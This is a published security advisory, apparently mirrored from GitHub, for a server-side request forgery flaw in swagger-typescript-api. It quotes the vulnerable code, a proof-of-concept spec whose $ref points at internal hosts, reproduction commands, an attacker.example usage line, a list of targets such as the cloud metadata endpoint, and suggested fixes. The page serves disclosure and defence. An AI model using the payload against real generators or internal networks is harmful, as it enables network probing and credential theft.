GHSA-X36R-4347-PM5X

Vulnerability from github – Published: 2026-07-29 14:28 – Updated: 2026-07-29 14:28
VLAI
Summary
swagger-typescript-api vulnerable to Server-Side Request Forgery via spec `$ref`
Details

Summary

swagger-typescript-api walks every $ref value in the input OpenAPI spec and, for any $ref whose target is an http(s):// URL, issues an HTTP GET to that URL during generation (warmUpRemoteSchemasCache). The only URL filter is a regex that matches ^https?:// — there is no private-IP allowlist, no DNS-rebinding protection, no redirect cap, and no same-origin check against the spec source. A malicious OpenAPI spec can therefore force the generator process to issue HTTP requests to arbitrary hosts and paths reachable from the generator's network, including 127.0.0.1, RFC-1918 ranges, internal hostnames, and the cloud instance-metadata endpoint at 169.254.169.254.

The attacker model is identical to the previously reported code-injection findings: a developer or CI pipeline that runs swagger-typescript-api generate against an attacker-controlled spec (remote URL, third-party / public OpenAPI registry, multi-tenant tenant input, or a spec file modified via PR).

Details

SwaggerSchemaResolver.fetchSwaggerSchemaFile (src/swagger-schema-resolver.ts:122) loads the entry-point spec. After it parses, ResolvedSwaggerSchema (src/resolved-swagger-schema.ts) calls warmUpRemoteSchemasCache which does a BFS over every external $ref:

// src/resolved-swagger-schema.ts:399-445
private async warmUpRemoteSchemasCache() {
  if (typeof this.config.url !== "string" || !this.isHttpUrl(this.config.url)) {
    return;
  }
  const visited = new Set<string>();
  const queue = [this.stripHash(this.config.url)];

  while (queue.length > 0) {
    const currentUrl = queue.shift();
    if (!currentUrl || visited.has(currentUrl)) continue;
    visited.add(currentUrl);

    if (this.externalSchemaCache.has(currentUrl)) continue;
    const schema = await this.fetchRemoteSchemaDocument(currentUrl);   // <-- HTTP GET
    if (!schema) continue;
    this.externalSchemaCache.set(currentUrl, schema);

    for (const ref of this.extractRefsFromSchema(schema)) {
      const normalizedRef = this.normalizeRef(ref);
      if (normalizedRef.startsWith("#")) continue;

      const [externalPath = ""] = normalizedRef.split("#");
      if (!externalPath) continue;

      const absoluteUrl = this.resolveAbsoluteUrl(externalPath, currentUrl);
      if (absoluteUrl && !visited.has(absoluteUrl)) {
        queue.push(absoluteUrl);                                       // <-- recurse
      }
    }
  }
}

The fetch itself:

// src/resolved-swagger-schema.ts:374
const response = await fetch(url, {
  headers: this.getRemoteRequestHeaders(),
});

…and the only URL-shape filter:

// src/resolved-swagger-schema.ts:75-78
private isHttpUrl(value: string): boolean {
  return /^https?:\/\//i.test(value);
}

There is no IP allowlist (no rejection of 127.x, 10.x, 172.16-31.x, 192.168.x, 169.254.x, IPv6 ::1 / fc00::/7, etc.), no DNS-rebinding mitigation (the URL is passed straight to Node's built-in fetch, which itself follows up to 20 redirects by default), and no check that the new URL shares an origin with the spec source. Any $ref value that survives isHttpUrl is fetched.

Because fetch is Node's undici-backed implementation, an external 302 redirect from an attacker's spec server to an internal URL ALSO succeeds — even if the maintainer later adds a private-IP filter to the spec string itself, redirect-based SSRF would still work without additional mitigation in the fetch options (redirect: "manual" or a custom dispatcher with a same-host check).

PoC

Self-contained reproducer in comments (install swagger-typescript-api@13.12.1 into a local node_modules, spin up two loopback HTTP servers — one serving the spec, one pretending to be an "internal" service — run the generator against each, observe the internal server's hit count). Tested on swagger-typescript-api@13.12.1 and Node v24.11.1.

Payload spec (served from http://127.0.0.1:<spec-port>/spec.json):

{
  "openapi": "3.0.0",
  "info": { "title": "SSRF-payload", "version": "1.0.0" },
  "paths": {
    "/p": {
      "get": {
        "operationId": "p",
        "responses": {
          "200": {
            "description": "OK",
            "content": {
              "application/json": {
                "schema": {
                  "$ref": "http://127.0.0.1:<internal-port>/INTERNAL_ONLY_PATH/secret.json"
                }
              }
            }
          }
        }
      }
    }
  }
}

Steps:

# 1. Start a loopback "internal" HTTP server that should not be reachable from a public spec.
# 2. Start a loopback "spec" HTTP server that serves the payload spec above.
# 3. Point the generator at the spec server.
npm install swagger-typescript-api@13.12.1
node -e "import('swagger-typescript-api').then(m => m.generateApi({
  output: '/tmp/out',
  url: 'http://127.0.0.1:<spec-port>/spec.json',
  httpClientType: 'fetch'
}))"

Observed (control vs payload):

[control] (no external $ref in spec) → internal-server hits: 0
[payload] ($ref → http://127.0.0.1:<internal-port>/...) → internal-server hits: 1
  hit: /INTERNAL_ONLY_PATH/secret.json  host=127.0.0.1:<internal-port>

The internal server received a GET /INTERNAL_ONLY_PATH/secret.json issued by the generator's warmUpRemoteSchemasCache while the developer was running swagger-typescript-api generate. The loopback target in the PoC stands in for any host reachable from the generator process — typical real-world targets include 169.254.169.254 (cloud IMDS), internal admin panels, intranet web apps, and corporate-VPN-only services.

Impact

Type: Server-Side Request Forgery (CWE-918) via unrestricted external-reference resolution in a code-generation tool.

Affected use cases:

  • A developer running sta generate --url https://attacker.example/openapi.json against an attacker-hosted spec.
  • A developer running the generator against any third-party or public OpenAPI spec they did not author (cached APIs on public schema registries, vendor / partner specs).
  • A CI/CD pipeline regenerating clients from a spec on every build.
  • A multi-tenant SaaS that generates per-tenant clients from tenant-supplied specs.
  • Any project where a contributor can modify the pinned spec via a pull request.

What an attacker can do with this:

  • Probe the generator's network reachability — enumerate which RFC-1918 hosts and internal services are alive based on timing and error states.
  • Hit cloud-provider instance metadata endpoints (http://169.254.169.254/...) on cloud-hosted CI runners. Even though the response body is not directly returned to the attacker, side effects (rate-limit, timing, error code reflected in logs) leak information.
  • Trigger side effects in internal services that have GET-mutating endpoints (rare but real).
  • Combine with the companion finding (Authorization-token forwarding to $ref URLs — filed separately) to escalate this from blind SSRF into direct credential exfiltration.

Lifecycle: generation-time. The fetch happens when the developer or CI pipeline runs swagger-typescript-api generate, not when the generated client is later imported.

Suggested fix:

Defense in depth at three layers, in priority order:

  1. Reject private / link-local / loopback addresses at the URL-validation layer. Resolve the URL's hostname, check the resulting IP against IPv4 ranges 127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16, 0.0.0.0/8, and IPv6 equivalents (::1, fc00::/7, fe80::/10, ::ffff:0:0/96). Re-resolve on every redirect to defeat DNS rebinding.
  2. Use a custom undici dispatcher with connect hook that re-checks the resolved IP at TCP-connect time — the only reliable way to defeat DNS rebinding in Node's built-in fetch.
  3. Set redirect: "manual" in the fetch options and validate each redirect URL through the same allowlist before following it.

If full SSRF mitigation is too invasive for a code-generation tool, at minimum surface the threat: log every external URL the generator is about to fetch (so a developer can grep for unexpected hosts in the output) and add an opt-out flag like --no-external-refs that disables warmUpRemoteSchemasCache entirely.

Submitted by: Hamza Haroon (thegr1ffyn)

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 13.12.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "swagger-typescript-api"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "13.12.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54663"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-441",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-29T14:28:58Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\n`swagger-typescript-api` walks every `$ref` value in the input OpenAPI spec and, for any `$ref` whose target is an `http(s)://` URL, issues an HTTP GET to that URL during generation (`warmUpRemoteSchemasCache`). The only URL filter is a regex that matches `^https?://` \u2014 there is **no private-IP allowlist, no DNS-rebinding protection, no redirect cap, and no same-origin check against the spec source**. A malicious OpenAPI spec can therefore force the generator process to issue HTTP requests to arbitrary hosts and paths reachable from the generator\u0027s network, including `127.0.0.1`, RFC-1918 ranges, internal hostnames, and the cloud instance-metadata endpoint at `169.254.169.254`.\n\nThe attacker model is identical to the previously reported code-injection findings: a developer or CI pipeline that runs `swagger-typescript-api generate` against an attacker-controlled spec (remote URL, third-party / public OpenAPI registry, multi-tenant tenant input, or a spec file modified via PR).\n\n### Details\n\n`SwaggerSchemaResolver.fetchSwaggerSchemaFile` (`src/swagger-schema-resolver.ts:122`) loads the entry-point spec. After it parses, `ResolvedSwaggerSchema` (`src/resolved-swagger-schema.ts`) calls `warmUpRemoteSchemasCache` which does a BFS over every external `$ref`:\n\n```ts\n// src/resolved-swagger-schema.ts:399-445\nprivate async warmUpRemoteSchemasCache() {\n  if (typeof this.config.url !== \"string\" || !this.isHttpUrl(this.config.url)) {\n    return;\n  }\n  const visited = new Set\u003cstring\u003e();\n  const queue = [this.stripHash(this.config.url)];\n\n  while (queue.length \u003e 0) {\n    const currentUrl = queue.shift();\n    if (!currentUrl || visited.has(currentUrl)) continue;\n    visited.add(currentUrl);\n\n    if (this.externalSchemaCache.has(currentUrl)) continue;\n    const schema = await this.fetchRemoteSchemaDocument(currentUrl);   // \u003c-- HTTP GET\n    if (!schema) continue;\n    this.externalSchemaCache.set(currentUrl, schema);\n\n    for (const ref of this.extractRefsFromSchema(schema)) {\n      const normalizedRef = this.normalizeRef(ref);\n      if (normalizedRef.startsWith(\"#\")) continue;\n\n      const [externalPath = \"\"] = normalizedRef.split(\"#\");\n      if (!externalPath) continue;\n\n      const absoluteUrl = this.resolveAbsoluteUrl(externalPath, currentUrl);\n      if (absoluteUrl \u0026\u0026 !visited.has(absoluteUrl)) {\n        queue.push(absoluteUrl);                                       // \u003c-- recurse\n      }\n    }\n  }\n}\n```\n\nThe fetch itself:\n\n```ts\n// src/resolved-swagger-schema.ts:374\nconst response = await fetch(url, {\n  headers: this.getRemoteRequestHeaders(),\n});\n```\n\n\u2026and the only URL-shape filter:\n\n```ts\n// src/resolved-swagger-schema.ts:75-78\nprivate isHttpUrl(value: string): boolean {\n  return /^https?:\\/\\//i.test(value);\n}\n```\n\nThere is no IP allowlist (no rejection of `127.x`, `10.x`, `172.16-31.x`, `192.168.x`, `169.254.x`, IPv6 `::1` / fc00::/7, etc.), no DNS-rebinding mitigation (the URL is passed straight to Node\u0027s built-in `fetch`, which itself follows up to 20 redirects by default), and no check that the new URL shares an origin with the spec source. Any `$ref` value that survives `isHttpUrl` is fetched.\n\nBecause `fetch` is Node\u0027s undici-backed implementation, an external 302 redirect from an attacker\u0027s spec server to an internal URL ALSO succeeds \u2014 even if the maintainer later adds a private-IP filter to the spec string itself, redirect-based SSRF would still work without additional mitigation in the fetch options (`redirect: \"manual\"` or a custom dispatcher with a same-host check).\n\n### PoC\n\nSelf-contained reproducer in comments (install `swagger-typescript-api@13.12.1` into a local `node_modules`, spin up two loopback HTTP servers \u2014 one serving the spec, one pretending to be an \"internal\" service \u2014 run the generator against each, observe the internal server\u0027s hit count). Tested on `swagger-typescript-api@13.12.1` and Node `v24.11.1`.\n\n**Payload spec** (served from `http://127.0.0.1:\u003cspec-port\u003e/spec.json`):\n\n```json\n{\n  \"openapi\": \"3.0.0\",\n  \"info\": { \"title\": \"SSRF-payload\", \"version\": \"1.0.0\" },\n  \"paths\": {\n    \"/p\": {\n      \"get\": {\n        \"operationId\": \"p\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"OK\",\n            \"content\": {\n              \"application/json\": {\n                \"schema\": {\n                  \"$ref\": \"http://127.0.0.1:\u003cinternal-port\u003e/INTERNAL_ONLY_PATH/secret.json\"\n                }\n              }\n            }\n          }\n        }\n      }\n    }\n  }\n}\n```\n\n**Steps:**\n\n```bash\n# 1. Start a loopback \"internal\" HTTP server that should not be reachable from a public spec.\n# 2. Start a loopback \"spec\" HTTP server that serves the payload spec above.\n# 3. Point the generator at the spec server.\nnpm install swagger-typescript-api@13.12.1\nnode -e \"import(\u0027swagger-typescript-api\u0027).then(m =\u003e m.generateApi({\n  output: \u0027/tmp/out\u0027,\n  url: \u0027http://127.0.0.1:\u003cspec-port\u003e/spec.json\u0027,\n  httpClientType: \u0027fetch\u0027\n}))\"\n```\n\n**Observed (control vs payload):**\n\n```\n[control] (no external $ref in spec) \u2192 internal-server hits: 0\n[payload] ($ref \u2192 http://127.0.0.1:\u003cinternal-port\u003e/...) \u2192 internal-server hits: 1\n  hit: /INTERNAL_ONLY_PATH/secret.json  host=127.0.0.1:\u003cinternal-port\u003e\n```\n\nThe internal server received a `GET /INTERNAL_ONLY_PATH/secret.json` issued by the generator\u0027s `warmUpRemoteSchemasCache` while the developer was running `swagger-typescript-api generate`. The loopback target in the PoC stands in for any host reachable from the generator process \u2014 typical real-world targets include `169.254.169.254` (cloud IMDS), internal admin panels, intranet web apps, and corporate-VPN-only services.\n\n### Impact\n\n**Type:** Server-Side Request Forgery (CWE-918) via unrestricted external-reference resolution in a code-generation tool.\n\n**Affected use cases:**\n\n- A developer running `sta generate --url https://attacker.example/openapi.json` against an attacker-hosted spec.\n- A developer running the generator against any third-party or public OpenAPI spec they did not author (cached APIs on public schema registries, vendor / partner specs).\n- A CI/CD pipeline regenerating clients from a spec on every build.\n- A multi-tenant SaaS that generates per-tenant clients from tenant-supplied specs.\n- Any project where a contributor can modify the pinned spec via a pull request.\n\n**What an attacker can do with this:**\n\n- Probe the generator\u0027s network reachability \u2014 enumerate which RFC-1918 hosts and internal services are alive based on timing and error states.\n- Hit cloud-provider instance metadata endpoints (`http://169.254.169.254/...`) on cloud-hosted CI runners. Even though the response body is not directly returned to the attacker, side effects (rate-limit, timing, error code reflected in logs) leak information.\n- Trigger side effects in internal services that have GET-mutating endpoints (rare but real).\n- Combine with the companion finding (Authorization-token forwarding to `$ref` URLs \u2014 filed separately) to escalate this from blind SSRF into direct credential exfiltration.\n\n**Lifecycle:** generation-time. The fetch happens when the developer or CI pipeline runs `swagger-typescript-api generate`, not when the generated client is later imported.\n\n**Suggested fix:**\n\nDefense in depth at three layers, in priority order:\n\n1. **Reject private / link-local / loopback addresses at the URL-validation layer.** Resolve the URL\u0027s hostname, check the resulting IP against IPv4 ranges `127.0.0.0/8`, `10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16`, `169.254.0.0/16`, `0.0.0.0/8`, and IPv6 equivalents (`::1`, `fc00::/7`, `fe80::/10`, `::ffff:0:0/96`). Re-resolve on every redirect to defeat DNS rebinding.\n2. **Use a custom undici dispatcher with `connect` hook that re-checks the resolved IP at TCP-connect time** \u2014 the only reliable way to defeat DNS rebinding in Node\u0027s built-in `fetch`.\n3. **Set `redirect: \"manual\"` in the `fetch` options** and validate each redirect URL through the same allowlist before following it.\n\nIf full SSRF mitigation is too invasive for a code-generation tool, at minimum surface the threat: log every external URL the generator is about to fetch (so a developer can `grep` for unexpected hosts in the output) and add an opt-out flag like `--no-external-refs` that disables `warmUpRemoteSchemasCache` entirely.\n\nSubmitted by: Hamza Haroon (thegr1ffyn)",
  "id": "GHSA-x36r-4347-pm5x",
  "modified": "2026-07-29T14:28:58Z",
  "published": "2026-07-29T14:28:58Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/acacode/swagger-typescript-api/security/advisories/GHSA-x36r-4347-pm5x"
    },
    {
      "type": "WEB",
      "url": "https://github.com/acacode/swagger-typescript-api/pull/1779"
    },
    {
      "type": "WEB",
      "url": "https://github.com/acacode/swagger-typescript-api/commit/306d59acb8ffbb00f953f807b97234b21f51d9de"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/acacode/swagger-typescript-api"
    },
    {
      "type": "WEB",
      "url": "https://github.com/acacode/swagger-typescript-api/releases/tag/v13.12.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "swagger-typescript-api vulnerable to Server-Side Request Forgery via spec `$ref`"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Loading…